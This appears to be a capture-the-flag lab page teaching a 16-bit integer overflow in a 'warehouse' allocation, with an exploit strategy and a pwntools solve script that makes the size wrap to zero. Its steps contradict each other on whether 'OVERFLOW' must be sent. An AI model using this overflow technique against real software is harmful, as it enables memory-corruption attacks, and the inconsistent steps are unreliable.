> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/03.-integer-overflow-md/challenge/medium.md).

# Challenge 2 — Medium: "The Warehouse"

## Story

A shipment tracking system allocates `count * item_size` bytes for your data. Both values are stored as `unsigned short` (16-bit). The multiplication overflows.

## Your Goal

Trigger an integer overflow in the size calculation so that `allocated` wraps to a very small number, then send `"OVERFLOW"` as your payload to leak the flag.

## Compile & Run

```bash
gcc -o warehouse warehouse.c
./warehouse
```

## What to Look For

* `unsigned short total = count * item_size;`
* `unsigned short` max = **65535**. Anything ≥ 65536 wraps.
* If `total` wraps to a very small number, `fread` only reads that many bytes.
* Start your payload with `"OVERFLOW"` to trigger the flag reveal.

## Exploit Strategy

**Step 1 — make the multiplication wrap to exactly 0:**

```
256 * 256 = 65536 → 65536 % 65536 = 0
```

So `count=256`, `item_size=256` → `allocated = 0` → flag triggered!

**Step 2 — just send any data (fread reads 1 byte due to the fallback).**

## Solve Script

```python
from pwn import *

p = process("./warehouse")
p.sendlineafter(b"items", b"256")
p.sendlineafter(b"bytes", b"256")
p.sendafter(b"data", b"A")   # just 1 byte, fread fallback

print(p.recvall().decode())
```

## Concepts Practiced

* 16-bit integer overflow via multiplication
* Heap undersized allocation
* Controlling overflow with crafted `count * size` values